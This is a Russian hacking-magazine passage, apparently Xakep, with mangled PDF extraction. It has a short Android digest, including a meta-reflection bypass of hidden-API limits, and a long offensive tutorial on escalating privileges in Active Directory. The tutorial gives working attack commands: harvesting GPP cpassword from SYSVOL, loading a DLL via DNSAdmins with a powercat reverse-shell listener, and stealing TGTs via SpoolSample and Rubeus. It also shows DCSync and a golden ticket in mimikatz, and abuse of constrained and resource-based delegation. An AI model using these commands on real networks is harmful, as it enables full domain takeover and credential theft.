мите,  который  зап реща ет  дос туп  к  скры тым  методам  с  помощью  метареф‐ 
лексии.

Android  11  will  harden  hidden  API  restrictions  and  remove  meta‐reflection
bypass

Это  про дол жение  исто рии,  начав шей ся  с  выпус ком Android  9,  в  котором
Google зап ретила дос туп ко мно гим скры тым методам Android. Такие методы
есть в опе раци онной сис теме, но отсутс тву ют в SDK и докумен тации, так что
с помощью стан дар тно го SDK их не выз вать, одна ко всег да мож но было сде‐ 
лать  это  с  помощью реф лексии. В Android  9  такой  спо соб  вызова  перес тал
работать, но ока залось, что защиту мож но обой ти с помощью двой ной реф‐ 
лексии  (или  метареф лексии),  ког да  вмес то  вызова  метода  самос тоятель но
при ложе ние про сит сде лать это опе раци онную сис тему:

val forName = Class::class.java.getMethod("forName", String::class.
java)
val getMethod = Class::class.java.getMethod("getMethod", String::
class.java, arrayOf<Class<*>>()::class.java)
val someHiddenClass = forName.invoke(null, "android.some.hidden.
Class") as Class<*>
val someHiddenMethod = getMethod.invoke(someHiddenClass, "someHi
ddenMethod", String::class.java)

someHiddenMethod.invoke(null, "some important string")

На чиная  с  Android  11  этот  спо соб  так же  перес танет  работать,  но  толь ко
в  при ложе ниях,  соб ранных  для  API  30  и  выше  (targetSdk=30).  При ложе ния,
соб ранные  для  более  ран них  вер сий  Android,  смо гут  исполь зовать  реф‐ 
лексию.

Не извес тные инс тру мен ты пен тесте ра
  —  статья  о  не  самых

извес тных, но полез ных пен тест‐инс тру мен тах. Крат кий спи сок:
Lesser‐known  Tools  for  Android  Application  PenTesting

  пре дос тавля ет  воз можность  не  толь ко  получить  пра ва  root
на устрой стве, но и скрыть наличие этих прав;

• Magisk

  —  модуль  Magisk,  поз воля ющий  сде лать  любой  сер‐ 
тификат сис темным;

• Move  Certificate

  —  модуль  Magisk,  отклю чающий  защиту  от  сня тия
скрин шотов  (FLAG_SECURE).  В    мы  рас ска зыва ли,
как сде лать это с помощью Frida;

• DisableFlagSecure
прош лом  дай джес те

  —  при ложе ние  для  Windows,  генери рующее  кас томные
модули  Magisk  с  раз личной  фун кци ональ ностью:  отклю чение  защиты
на  сня тие  скрин шотов,  под делка  мес тополо жения,  отклю чение  про вер ки
циф ровых под писей при ложе ний и так далее;

• Smali  Patcher

 — при ложе ние, поз воля ющее запус тить ADB в режиме Wi‐Fi;• ADB Manager
 — поз воля ет выб рать прок си инди виду аль но для каж дого при‐ 

ложе ния;
• ProxyDroid

 —  ути лита  для  выбороч ного  отоб ражения  логов  logcat  с  удоб ным
фор матиро вани ем.

• Pidcat

Huawei Quick Apps
  —  статья

о  Huawei  Quick  Apps,  сво еоб разной  аль тер нативе Google  Instant  Apps,  раз‐ 
работан ной  в  ответ  на  зап рет  исполь зовать  сер висы  Google  в  смар тфо нах
Huawei.

Huawei  Quick  Apps  is  Huawei’s  alternative  to  Google  Instant  Apps

Как и Google Instant Apps, Quick Apps пред став ляют собой мини‐при ложе‐ 
ния, которые мож но запус тить, прос то перей дя по ссыл ке без необ ходимос ти
что‐либо уста нав ливать. Это могут быть демовер сии игр,  уре зан ные вер сии
пол ноцен ных  при ложе ний  или  даже  одно разо вые  при ложе ния,  с  помощью
которых  поль зователь  может  выпол нять  какие‐то  ред кие  дей ствия,  такие
как покуп ка билетов на самолет или товаров.

В  отли чие  от  Google,  которая  пред лага ет  писать  мини‐при ложе ния
как  обыч ные  при ложе ния  для  Android  с  уре зан ной  фун кци ональ ностью,
Huawei  пред почла исполь зовать для мини‐при ложе ний язык  JavaScript. Бла‐ 
года ря это му Quick Apps про ще в написа нии (по оцен кам ком пании, сред ний
раз мер исходно го тек ста сос тавля ет все го 20% от раз мера исходно го тек ста
Instant Apps) и занима ют нам ного мень ше прос транс тва в памяти телефо на.
При этом выг лядят они точ но так же, как род ные при ложе ния Android.

Срав нение обыч ных при ложе ний Google Instant Apps, мини‐при ложе ний
WeChat и Huawei Quick Apps

С дру гой сто роны, фрей мворк Quick Apps не поз воля ет исполь зовать пол ный
набор  Android  API  и  зат рудня ет  соз дание  мини‐вер сий  пол ноцен ных  при‐ 
ложе ний.  Нап ример,  что бы  сде лать мини‐при ложе ние  на  осно ве  пол ноцен‐ 
ного  при ложе ния  для  Android,  надо  прос то  выкинуть  из  ори гиналь ного
исходно го кода часть фун кций и внес ти нез начитель ные изме нения. В слу чае
с Quick Apps при дет ся перепи сать при ложе ние на язы ке JavaScript.

Huawei заяв ляет, что Quick Apps смо гут работать не толь ко на смар тфо нах
Huawei  на  базе  Android  10,  но  и  на  смар тфо нах  12  дру гих  про изво дите лей,
занима ющих 85% рын ка Китая и 35% гло баль ного рын ка. Для соз дания при‐ 
ложе ний под готов лена спе циаль ная  .IDE

ИНСТРУМЕНТЫ

 — эвристи чес кий дви жок ана лиза мал вари;• Quark‐engine
 — скрипт для взло ма при ложе ний, запако ван‐ 

ных с помощью раз личных упа ков щиков.
• Corellium‐android‐unpacking

БИБЛИОТЕКИ

 — PoC трех спо собов детек та Frida;• DetectFrida
 — ком понент Jetpack Compose для управле ния исто рией

навига ции по при ложе нию;
• Compose‐router

  —  хра нили ще  кукисов  для  HttpURLConnection
и OkHttp;

• Android‐cookie‐store

 — биб лиоте ка, защища ющая при ложе ние от при нуди тель ной оста‐ 
нов ки;

• Leoric

 — Java/Python/JS‐бин динги для  тул кита офлай нового рас позна‐ 
вания речи Vosk;

• Vosk‐api

 — кол лекция  ути лит для  кри мина лис тичес кого ана лиза смар тфо‐ 
нов с Android;

• Andriller

 — кра сивый выпада ющий спи сок;• PowerSpinner
 — оче ред ная биб лиоте ка для соз дания экра на тай млай на;• Timeline‐View

  —  биб лиоте ка,  поз воля ющая  динами чес ки  перек‐ 
рашивать век торные изоб ражения;

• PaintableVectorView

 — ани матор с эффектом зума для RecyclerView;• ZoomRecyclerLayout
  —  биб лиоте ка  для  эффек тно го  сво рачи вания‐раз ворачи вания

лей аутов.
• DoubleLift
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Что бы  ском про мети ровать  кон трол лер
домена, мало най ти извес тную уяз вимость,
получить  учет ные  дан ные  поль зовате ля
или  обна ружить  ошиб ку  в  нас трой ке
полити ки  безопас ности.  Это  обес печит
тебе  минималь ный  дос туп,  но  его  может
не  хва тить  для  дос тижения  всех  намечен‐ 
ных  целей.  Поэто му  залог  успешной  ата‐ 
ки  —  получе ние  повышен ных  сис темных
при виле гий  в  Active  Directory.  О  методах
решения  этой  увле катель ной  задачи  мы
и погово рим.

INFO

Как гла сит воен ная наука, име ющая мно го обще‐ 
го с хакер ским ремес лом, преж де чем ввя зать ся
в  сра жение,  нуж на  раз ведка  мес тнос ти.  О  том,
как извлечь поль зователь ские дан ные в Active Di‐
rectory, читай в статье «

».

Раз ведка в Active Directo‐
ry.  Получа ем  поль зователь ские  дан ные  в  сетях
Windows без при виле гий

ПАРОЛИ ИЗ SYSVOL И GPP
На каж дом компь юте ре с Windows, который работа ет в сети с Active Directory,
име ется встро енная учет ная запись адми нис тра тора, защищен ная паролем.
Одно  из  стан дар тных  тре бова ний  безопас ности  —  регуляр но  менять  этот
пароль.  Казалось  бы,  задача  нес ложная.  Но  толь ко  не  ког да  в  сети  нас‐ 
читыва ется под сот ню машин.

Что бы облегчить себе жизнь, ленивые сис темные адми нис тра торы иног да
исполь зуют  груп повые полити ки для  уста нов ки  пароля  локаль ного адми нис‐ 
тра тора на боль шом количес тве рабочих стан ций. Это доволь но удоб но, да и
заменить  такой  пароль,  ког да  при дет  срок,  мож но  за  пару  минут.  Одна
незада ча: на всех компь юте рах пароль локаль ного адми на будет оди нако вый.

Из  это го  сле дует  вывод:  получе ние  учет ных  дан ных  адми нис тра тора
на  одной  из  машин  сде лает  зло умыш ленни ка  адми ном  сра зу  на  всех.  Рас‐ 
смот рим два спо соба добить ся такого резуль тата.

Учет ные дан ные в SYSVOL
SYSVOL — это обще домен ный ресурс Active Directory, к которо му у всех авто‐ 
ризо ван ных  поль зовате лей  есть  дос туп  на  чте ние.  SYSVOL  содер жит  сце‐ 
нарии вхо да, дан ные  груп повой полити ки и дру гие дан ные,  которые дол жны
быть  дос тупны  вез де,  где  рас простра няет ся  полити ка  домена.  При  этом
SYSVOL  авто мати чес ки  син хро низи рует ся  и  исполь зует ся  все ми  кон трол‐ 
лерами домена. Все груп повые полити ки домена хра нят ся по адре су

\\<Домен>\SYSVOL\<Домен>\Policies\

Что бы  упростить  управле ние  локаль ной  учет ной  записью  адми нис тра тора
на уда лен ных компь юте рах с Windows, для каж дой из них мож но исполь зовать
собс твен ный сце нарий сме ны пароля. Проб лема в том, что час то пароль хра‐ 
нит ся в виде откры того тек ста в скрип те  (нап ример, в фай ле VBS), который,
в  свою  оче редь,  находит ся  в  SYSVOL.  Вот  при мер  одно го  из  резуль татов
поис ка  сце нария  VBS,  меня юще го  пароль  локаль ного  адми нис тра тора
на сетевых машинах.

При мер VBS‐скрип та с офи циаль ного сай та MSDN

Этот  сце нарий  дос тупен  в  галерее  Microsoft  TechNet,  из‐за  чего  неред ко
исполь зует ся  сис темны ми  адми нис тра тора ми,  которые  пред почита ют
готовые  решения.  Извлечь  из  него  пароль  не  сос тавля ет  никако го  тру да.
А  пос коль ку  скрипт  хра нит ся  в  SYSVOL,  к  которо му  у  каж дого  поль зовате ля
домена есть  дос туп  для  чте ния,  наличие  пароля  авто мати чес ки  прев раща ет
его  обла дате ля  в  локаль ного  адми нис тра тора  на  всех  сетевых  машинах
с вин дой на бор ту.

Нас трой ки груп повой полити ки
В 2006 году инс тру мент PolicyMaker от Microsoft Bought Desktop Standard был
пере име нован и выпущен вмес те с Windows Server 2008 как Group Policy Pref‐
erences (GPP, «пред почте ния груп повой полити ки»). Одна из наибо лее полез‐ 
ных фун кций GPP — воз можность соз давать локаль ных поль зовате лей, нас‐ 
тра ивать и изме нять их учет ки, а так же сох ранять учет ные дан ные в нес коль‐ 
ких фай лах сце нари ев:

кар та дис ков (Drives.xml);•
ис точни ки дан ных (DataSources.xml);•
кон фигура ция прин тера (Printers.xml);•
соз дание/обновле ние сер висов (Services.xml);•
зап ланиро ван ные задачи (ScheduledTasks.xml).•

Инс тру мент, безус ловно, полез ный: с его помощью мож но авто мати зиро вать
мно гие  рутин ные  дей ствия.  Нап ример,  GPP  поз воля ет  исполь зовать  груп‐ 
повую  полити ку  для  выпол нения  зап ланиро ван ных  задач  с  задан ными  учет‐ 
ными дан ными, а так же при необ ходимос ти менять пароли локаль ного адми‐ 
нис тра тора на боль шом количес тве компь юте ров.

Те перь  давай  пос мотрим,  как  эта  шту ка  работа ет.  При  соз дании  нового
пред почте ния  груп повой  полити ки  в  SYSVOL  генери рует ся  свя зан ный  XML‐
файл с соот ветс тву ющи ми дан ными кон фигура ции. Если в ней ука зан пароль
поль зовате ля,  он  будет  зашиф рован  AES  256  бит.  Но  в  2012  году 

,  который  мож но  исполь зовать  для  рас‐ 
шифров ки пароля.

Microsoft
опуб ликова ла  в  MSDN  ключ  AES

Ключ шиф рования, пред став ленный MSDN

Ины ми сло вами, любой авто ризо ван ный в домене юзер может най ти в общем
ресур се  SYSVOL фай лы  XML,  содер жащие  cpassword,  то  есть  зашиф рован‐ 
ный пароль AES.

При мер содер жимого фай ла Groups.xml

Быс тро най ти эти зна чения мож но сле дующей коман дой:

C:\> findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policy\*. xml

Для  рас шифров ки  пароля  мож но  вос поль зовать ся  инс тру мен том  ,
при  этом  нуж но  в  руч ном  режиме  декоди ровать  Base64  и  ука зать  ключ
с MSDN (под робная инс трук ция по рас шифров ке при веде на в 
). Сущес тву ет  и  пол ностью авто мати зиро ван ное  средс тво  под  наз вани ем

, которое тре бует толь ко зна чение cpassword и уже пре дус танов‐ 
лено в Kali Linux. Ана логич ная ути лита для Windows называ ется 

, ее мож но отыс кать в наборе прог рамм PowerSploit.

Cryptool

статье на Хаб‐ 
ре
gpp‐decrypt

Get‐GPPPass‐
word

Ну а для очень ленивых есть модуль    из  набора Metasploit.
Этот  инс тру мент  поп росит  ука зать  толь ко  учет ные  дан ные  поль зовате лей
и адрес кон трол лера домена.

smb_enum_gpp

Так  мы  можем  получить  пароль  локаль ного  адми нис тра тора,  и  в  боль‐ 
шинс тве слу чаев он будет работать на всех компь юте рах домена.

DNSADMINS
Microsoft  не  толь ко  реали зова ла  собс твен ный  DNS‐сер вер,  но  и  внед рила
для  него  про токол  управле ния,  поз воля ющий  интегри ровать  DNS‐сер вер
с домена ми Active Directory. По умол чанию кон трол леры домена так же явля‐ 
ются DNS‐сер верами, поэто му DNS‐сер веры дол жны быть дос тупны каж дому
поль зовате лю домена. Это,  в  свою оче редь,  откры вает  потен циаль ную  воз‐ 
можность для ата ки на кон трол леры домена: с одной сто роны мы име ем сам
про токол DNS, а с дру гой — про токол управле ния, осно ван ный на RPC.

Поль зователь,  вхо дящий  в  груп пу  DNSAdmins  или  име ющий  пра ва
на  запись  в  объ екты  DNS‐сер вера,  может  заг рузить  на  DNS‐сер вер  про‐ 
изволь ную DLL с при виле гиями System. Это очень опас но, пос коль ку мно гие
кор поратив ные  сети  исполь зуют  кон трол лер  домена  в  качес тве  DNS‐сер‐ 
вера.

Та ким  обра зом,  для  реали зации  ата ки  мы  можем  прос то  заг рузить
на  DNS‐сер вер  про изволь ную  биб лиоте ку  с  помощью  dnscmd  (путь 

 дол жен быть дос тупен для чте ния DC):
\\ops‐

build\dll

PS C:\> dnscmd ops_dc/config/serverlevelplugindll \\ops‐build\dll\
mimilib.dll

Что бы  про верить,  была  ли  заг ружена  DLL,  мож но  исполь зовать  сле дующую
коман ду:

PS C:\> Get‐ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\
Parameters\ ‐Name ServerLevelPluginDll

Так как наш поль зователь — член груп пы DNSAdmins, мы можем переза пус‐ 
тить служ бу DNS:

C:\> sc \\ops‐dc stop dns
C:\> sc \\ops‐dc start dns

Пос ле  переза пус ка  DNS‐сер вера  будет  выпол нен  код  из  заг ружен ной  биб‐ 
лиоте ки.  Такая  биб лиоте ка,  нап ример,  может  содер жать 

.
скрипт  PowerShell

для обратно го под клю чения

При мер PowerShell‐кода в DLL

Пос ле успешно го выпол нения скрип та мы будем прос лушивать на сво ем хос‐ 
те обратное под клю чение:

PS C:\> powercat ‐l ‐v ‐p 443 ‐t 1000

При мер успешно го бэк коннек та

В резуль тате мы получим пра ва   на DC.system

ДЕЛЕГИРОВАНИЕ KERBEROS
Де леги рова ние  —  это  фун кция  Active  Directory,  поз воля ющая  учет ке  поль‐ 
зовате ля или компь юте ра выдавать себя за дру гую учет ную запись. В качес‐ 
тве при мера раз берем ситу ацию, ког да поль зователь обра щает ся к веб‐при‐ 
ложе нию, что бы работать с ресур сами на сер вере базы дан ных.

Схе ма вза имо дей ствия с базой дан ных через веб‐сер вер

Ис ходя из этой схе мы, веб‐сер вер дол жен работать с сер вером базы дан ных
от  име ни  поль зовате ля.  Здесь  и  помога ет  делеги рова ние  —  к  учет ным
записям поль зовате лей в сре де Windows при меня ется флаг 

.
TRUSTED_TO_AU‐

THENTICATE_FOR_DELEGATION (T2A4D) User‐Account‐Control

INFO

Ат рибут    (который
не  сле дует  путать  с  механиз мом  кон тро ля  учет‐ 
ных записей Windows) уста нав лива ет опре делен‐ 
ные атри буты для учет ных записей Active Directo‐
ry  —  нап ример,  если  учет ная  запись  отклю чена,
заб локиро вана или пароль поль зовате ля никог да
не исте кает.

User‐Account‐Control

Для  реали зации  делеги рова ния  Microsoft  внед рила  рас ширение  про токо ла
Kerberos  «Служ ба  для  дос тупа  поль зовате ля  к  себе»  ( ).  Это  рас‐ 
ширение  поз воля ет  служ бе  зап рашивать  токен  для  дру гого  поль зовате ля,
пре дос тавляя  имя  поль зовате ля,  но  не  вво дя  пароль.  Ког да  учет ная  запись
поль зовате ля име ет флаг  , такие токены могут быть зап рошены с атри‐ 
бутом  forwardable,  который  дает  служ бе  воз можность  аутен тифици ровать ся
с эти ми токена ми для дру гих служб.

S4U2Self

T24AD

Что бы избе жать неог раничен ного делеги рова ния, Microsoft  гаран тирова‐ 
ла, что дан ные токены могут исполь зовать ся толь ко для опре делен ных служб,
которые  нас тро ены  для  учет ной  записи  поль зовате ля  через  рас ширение
«Служ ба  для  поль зовате ля  через  прок си»  ( ).  Этот  параметр  кон‐ 
тро лиру ется  атри бутом    в  учет ной  записи  поль‐ 
зовате ля. Он содер жит спи сок имен учас тни ков служ бы,  который ука зыва ет,
на  какие  служ бы  Kerberos  поль зователь  может  перенап равлять  эти  токены
(так же,  как выпол няет ся обыч ное огра ничен ное делеги рова ние в Kerberos).
Нап ример,  ты  хочешь,  что бы  твоя  веб‐служ ба  име ла  дос туп  к  общей  пап ке
для поль зовате лей. Тог да учет ная запись служ бы дол жна иметь атри бут

S4U2proxy
msDS‐AllowedToDelegateTo

ms‐DS‐AllowedToDelegateTo "SIFS/fs.dom.com"

Для наг ляднос ти рас смот рим схе му аутен тифика ции Kerberos.

Схе ма аутен тифика ции Kerberos

1. Поль зователь  аутен тифици рует ся  в  веб‐сер висе  с  исполь зовани ем
не Kerberos‐сов мести мого механиз ма аутен тифика ции.

2. Веб‐служ ба  зап рашива ет  билет  для  учет ной  записи  user  без  ука зания
пароля, как для учет ной записи  .svc_web

3. KDC  про веря ет  зна чение    для  фла га
,  а  так же  не  заб локиро‐ 

ван ли целевой поль зователь для делеги рова ния. Если все в поряд ке, KDC
воз вра щает  перенап равля емый  билет  для  учет ной  записи  поль зовате ля
( ).

svc_web  userAccountControl

TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION

S4U2Self

4. За тем  служ ба  переда ет  этот  билет  обратно  в  KDC и  зап рашива ет  билет
для служ бы  .cifs/fs.contoso.com

5. KDC  про веря ет  поле    в  учет ной  записи
.  Если  служ ба  ука зана  в  спис ке,  она  вер нет  билет  служ бы

для общей пап ки ( ).

msDSAllowedToDelegateTo

svc_web

S4U2proxy

6. Веб‐служ ба  теперь  может  про ходить  про вер ку  под линнос ти  на  общем
ресур се в качес тве учет ной записи поль зовате ля с исполь зовани ем пре‐ 
дос тавлен ного билета.

Не огра ничен ное делеги рова ние
При  неог раничен ном  делеги рова нии  Kerberos  на  сер вере,  на  котором  раз‐ 
мещена служ ба, кон трол лер домена DC помеща ет копию TGT (ticket granting
ticket  —  билет  для  получе ния  билета)  поль зовате ля  в  TGS  (Ticket  Granting
Server  —  сер вер  выдачи  билетов  или  раз решений)  служ бы.  Ког да  дан ные
поль зовате ля пре дос тавля ются сер веру для дос тупа к служ бе, сер вер откры‐ 
вает TGS и помеща ет TGT поль зовате ля в LSASS (Local Security Authority Sub‐
system Service — сер вис про вер ки под линнос ти локаль ной сис темы безопас‐ 
ности)  для  даль нейше го  исполь зования.  Сер вер  при ложе ний  теперь  может
выдавать себя за это го поль зовате ля без огра ниче ний!

Та ким обра зом, хост, на котором активно неог раничен ное делеги рова ние,
будет  содер жать  в  памяти  TGT  делеги рован ного  поль зовате ля.  Наша
задача — его дос тать, что бы ском про мети ровать поль зовате ля. Дан ный вид
ата ки  воз можен,  если мы  ском про мети рова ли  сам  хост  либо  поль зовате ля,
име юще го пра во управлять хос том с делеги рова нием.

Об наружить все компь юте ры с неог раничен ным делеги рова нием Kerberos
очень прос то: у них будет выс тавлен флаг  . Это опре‐ 
деля ется  с  помощью  инс тру мен та  ,  а  кон крет нее  —  сле дующей
коман ды:

TrustedForDelegation
ADModule

PS C:\> Get‐ADComputer ‐Filter {TrustedForDelegation ‐eq $True}

То го же резуль тата мож но дос тигнуть, выпол нив такую коман ду PowerView:

PS C:\> Get‐DomainComputer–Unconstrained

Те перь  нуж но  отос лать  зап рос  MS‐RPRN 
 (аутен тифика ция Kerberos) на сер вер печати DC (служ‐ 

ба Spooler). DC немед ленно отпра вит ответ,  который вклю чает TGS  (пол ную
копию  TGT)  учет ной  записи  компь юте ра  кон трол лера  домена,  так  как  на
нашем хос те исполь зует ся неог раничен ное делеги рова ние.

RpcRemoteFindFirstPrinter‐
ChangeNotification

Что бы  это  сде лать,  сна чала  пос тавим  прос лушива ние  вхо дящих  соеди‐ 
нений с помощью  :Rubeus

C:\> Rubeus.exe monitor /interval:1

Те перь ини циируем зап рос с помощью  :SpoolSample

C:\>. \SpoolSample.exe DC.domain.dom yourhost.domain.dom

В Rubeus мы уви дим под клю чение.

Под клю чение Rubeus

Те перь получим TGT:

C:\> Rubeus.exe ptt /ticket:doIE+DCCBPSgAwIBBaE ...
C:\> Rubeus.exe klist

Имея TGT, мы можем выпол нить DCSync‐ата ку с помощью mimikatz:

# lsadump::dcsync /user:HACKER\krbtgt

DCSync krbtgt

Мы добыли NTLM‐хеш учет ной записи   и теперь можем сде лать golden
ticket, с которым получим пол ный дос туп ко всей инфраструк туре домена:

krbtgt

# kerberos::golden /user:Administrator /domain:domain.dom /sid:
S‐1‐5‐21‐1559558046‐1467622633‐168486225 /krbtgt:9974f218204d6b8
109ea99ae9c209f23 /ptt

Те перь  мож но  уда лен но  под клю чить ся  к  кон трол леру  домена  с  учет ной
записью адми нис тра тора:

PS C:\> Enter‐PSSession ‐ComputerName dc

Продолжение статьи →
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Ог раничен ное делеги рова ние
Не вда ваясь в под робнос ти реали зации S4U2Self/S4U2proxy, мож но ска зать,
что любые учет ные записи с SPN  (Service Principal Name), име ющие в свой‐ 
ствах  уста нов ленный  атри бут    могут  выдавать
себя за любого поль зовате ля в домене.

,msDS‐AllowedToDelegateTo

Ес ли  бы мож но было  изме нить  содер жимое 
для  про изволь ной  учет ной  записи,  мы  мог ли  бы  выпол нить  DCSync‐ата ку
на  текущий  домен.  Но  для  изме нения  любых  парамет ров  делеги рова ния
на кон трол лере домена нуж но иметь при виле гию 

. По умол чанию такими пра вами обла дают толь ко учет ные записи адми‐ 
нис тра торов домена.

msDS‐AllowedToDelegateTo

SeEnableDelegationPriv‐
ilege

Пер вое рас ширение, которое реали зует огра ничен ное делеги рова ние, —
S4U2self. Оно поз воля ет служ бе зап рашивать у себя спе циаль ный перенап‐ 
равля емый  TGS от  име ни  кон крет ного  поль зовате ля.  Такой механизм  пред‐ 
назна чен  для  слу чаев,  ког да  поль зователь  авто ризу ется  в  сер висе
без исполь зования Kerberos (в нашем при мере — с веб‐сер висом).

Во  вре мя  пер вого  зап роса  TGS  будет  уста нов лен  флаг  пере адре сации,
что бы  воз вра щаемый  TGS  был  помечен  как  пересы лаемый  и  мог  исполь‐ 
зовать ся  с  рас ширени ем  S4U2proxy.  При  неог раничен ном  делеги рова нии
для  иден тифика ции  поль зовате ля  при меня ется  TGT,  в  этом  слу чае  рас‐ 
ширение  S4U  исполь зует  струк туру    в  качес тве  нового  типа
в поле дан ных  .

PA‐FOR‐USER
[padata]/pre‐authentication

S4U2self может выпол нять ся для любой поль зователь ской учет ной записи,
при этом пароль целево го поль зовате ля не тре бует ся. Кро ме того, S4U2self
раз реша ется, толь ко если учет ка зап рашива юще го поль зовате ля име ет флаг

.TRUSTED_TO_AUTH_FOR_DELEGATION
Су щес тву ет  вид атак под наз вани ем Kerberoasting — они пред назна чены

для извле чения слу жеб ных учет ных записей из Active Directory от име ни обыч‐ 
ного  поль зовате ля  без  отсылки  пакетов  в  целевую  сис тему.  Почему  в  рас‐ 
смат рива емом  нами  слу чае  не  получит ся  извлечь  с  исполь зовани ем  Ker‐
beroasting  дан ные  любого  поль зовате ля,  которо го  мы  захотим?  Потому  что
сер тификат  Privilege  Account  Certificate  (PAC)  под писан  для  исходно го  (а
не  целево го)  поль зовате ля  (в  дан ном  слу чае  для  зап рашива ющей  учет ной
записи  служ бы).  Но  зато  теперь  у  нас  есть  спе циаль ный  билет  служ бы,
который  мож но  пере адре совать  целевой  служ бе,  нас тро енной  для  огра‐ 
ничен ного делеги рова ния.

Вто рое  рас ширение,  исполь зующее  огра ничен ное  делеги рова ние,  —
S4U2proxy.  Оно  поз воля ет  вызыва ющей  сто роне  (в  нашем  слу чае  учет ной
записи  служ бы)  исполь зовать  этот  перенап равля емый  билет,  что бы  зап‐ 
росить  TGS  к  любому  SPN,  перечис ленно му  в 
для  оли цет ворения  ука зан ного  на  эта пе  S4U2self  поль зовате ля.  KDC  про‐ 
веря ет,  есть  ли  зап рашива емый  сер вис  в  поле 
зап рашива юще го  поль зовате ля,  и  выда ет  билет,  если  эта  про вер ка  прош ла
успешно.

,msDS‐AllowedToDelegateTo

msDS‐AllowedToDelegateTo

Та ким  обра зом,  мы  можем  опре делить  кри терий  поис ка  огра ничен ного
делеги рова ния — ненуле вое зна чение  :msDS‐AllowedToDelegateTo

PS C:\> Get‐DomainComputer ‐TrastedToAuth
PS C:\> Get‐DomainUser ‐TrastedToAuth

Учет ная запись компь юте ра или поль зовате ля с SPN, ука зан ным в 
,  может  оли цет ворять  любого  поль зовате ля  в  целевой

служ бе.  Поэто му,  ском про мети ровав  одну  из  этих  учет ных  записей,  ты
можешь зах ватить при виле гии дос тупа к целево му SPN.

msDS‐Al‐
lowedToDelegateTo

INFO

Для MSSQLSvc это поз волило бы получить пра ва
адми нис тра тора  баз  дан ных.  CIFS  откро ет  пол‐ 
ный  уда лен ный  дос туп  к  фай лам.  HTTP  поз‐ 
волил  бы  зах ватить  уда лен ный  веб‐сер вис.
LDAP  —  про извести  DCSync.  HTTP/SQL,  даже
если  они  не  име ют  повышен ных  прав  адми нис‐ 
тра тора  в  целевой  сис теме,  так же  могут  быть
исполь зованы для повыше ния прав до System.

С  исполь зовани ем  опи сан ного  прин ципа  мож но  про вес ти  четыре  ата ки
на повыше ние при виле гий в сис теме.

Рас смот рим  пер вый  вари ант.  Если  тебе  известен  пароль  от  учет ной
записи,  для  которой  вклю чено  огра ничен ное  делеги рова ние,  ты  можешь
исполь зовать    для  зап роса  TGT,  выпол нить  зап рос    и  затем
получить дос туп к целевой служ бе.

Kekeo S4U  TGS

Вы пол няем  зап рос  TGT  для  учет ной  записи  поль зовате ля  с  вклю чен ным
огра ничен ным делеги рова нием (к при меру, SQLService):

C:\> asktgt.exe /user:Пользователь /domain:домен /password:пароль /
ticket:sqlservice.kirbi

Те перь выпол няем S4U2proxy c получен ным TGT. В резуль тате у нас будет TGS
для дос тупа к при ват ному ресур су в домене:

C:\> s4u.exe /tgt:sqlservice.kirbi /user:Administrator@домен /
service:cifs/ресурс_в_домене

Ис поль зуем mimikatz, что бы при менить TGS:

# kerberos::ptt файл_с_полученным_TGS

В ито ге мы получа ем дос туп к при ват ному ресур су.
Ес ли ты можешь ском про мети ровать учет ную запись компь юте ра, которая

нас тро ена для огра ничен ного делеги рова ния, под ход к ата ке будет нес коль ко
дру гим. Пос коль ку любой про цесс,  выпол няющий ся с сис темны ми при виле‐ 
гиями,  получа ет  при виле гии  учет ной  записи  локаль ного  компь юте ра,  мы
можем про пус тить шаг с  . Ты так же можешь исполь зовать аль тер‐ 
натив ный метод для выпол нения про цес са  ,  пре дос тавлен ный Mi‐
crosoft. Для это го откро ем PowerShell и выпол ним сле дующий код:

asktgt.exe
S4U2proxy

PS C:\> $Null = [Reflection.Assembly]::LoadWithPartialName('System.
IdentityModel')
PS C:\> $Ident = New‐Object System.Security.Principal.Window
sIdentity @('Administrator@domain.dom')
PS C:\> $Context = $Ident.Impersonate()

Те перь, ког да мы при мени ли TGS ука зан ного поль зовате ля, мы можем сно ва
работать  с  при ват ным  ресур сом.  Затем  вер немся  в  свое  поль зователь ское
прос транс тво сле дующей коман дой PowerShell:

PS C:\> $Context.Undo()

В  треть ем  слу чае  выпол няют ся  все  те  же  дей ствия,  что  и  в  пер вом,  толь ко
вмес то  пароля  исполь зует ся NTLM‐хеш поль зовате ля.  Чет вертая  ата ка  ана‐ 
логич на треть ему вари анту,  толь ко вмес то име ни поль зовате ля берет ся имя
компь юте ра.

Ог раничен ное делеги рова ние на осно ве ресур сов
Эта раз новид ность огра ничен ного делеги рова ния очень похожа на обыч ное
огра ничен ное делеги рова ние, но работа ет в про тиво полож ном нап равле нии.
1. Ог раничен ное делеги рова ние из учет ной записи A в учет ную запись B нас‐ 
тра ивает ся для учет ной записи A в атри буте 

 и опре деля ет «исхо дящее» доверие от A до B.
msDSAllowedToDelegate

To

2. Ог раничен ное  делеги рова ние  на  осно ве  ресур сов  нас тра ивает ся
для  учет ной  записи  B  в  атри буте 

 и опре деля ет «вхо дящее» доверие от A до B.
msDSAllowedToActOnBehalfO

fOtherIdentity

Что бы  повысить  при виле гии  во  вто ром  слу чае,  нуж но  ука зать  в  атри буте
  учет ную  запись  кон тро лиру‐ 

емо го нами компь юте ра. Метод сра бота ет, если мы зна ем набор имен SPN
для объ екта, к которо му хотим получить дос туп. Дело в том, что с парамет ром

  (по  умол чанию  он  поз воля ет  каж дому  поль зовате лю
соз давать  десять  учет ных  записей  компь юте ров)  это  лег ко  сде лать  из‐под
неп ривиле гиро ван ной  учет ной  записи.  Единс твен ная  при виле гия,  которая
нам  понадо бит ся, —  это  воз можность  записать  атри бут  на  целевой  компь‐ 
ютер.

msDS‐AllowedToActOnBehalfOfOtherIdentity

MachineAccountQuota

Соз даем  учет ную  запись,  к  которой  мы  будем  иметь  пол ный  дос туп,
с помощью   и ука зыва ем пароль компь юте ра, что бы у нас был хеш
для него.

PowerMad

PS C:\> $password = ConvertTo‐SecureString 'PASSWORD' ‐AsPlainText 
‐Force
PS C:\> New‐MachineAccount ‐machineaccount RBCDmachine ‐Password $(
$password)

Те перь нуж но запол нить атри бут 
 для целево го DC, на который у нас име ются раз решения:

msDS‐AllowedToActOnBehalfOfOtherIden‐
tity

PS C:\> Set‐ADComputer $targetComputer ‐PrincipalsAllowedToDeleg
ateToAccount RBCDmachine$
PS C:\> Get‐ADComputer $targetComputer ‐Properties PrincipalsAllow
edToDelegateToAccount

На сле дующем эта пе нуж но получить хеш нашего пароля:

PS C:\> ConvertTo‐NTHash $password

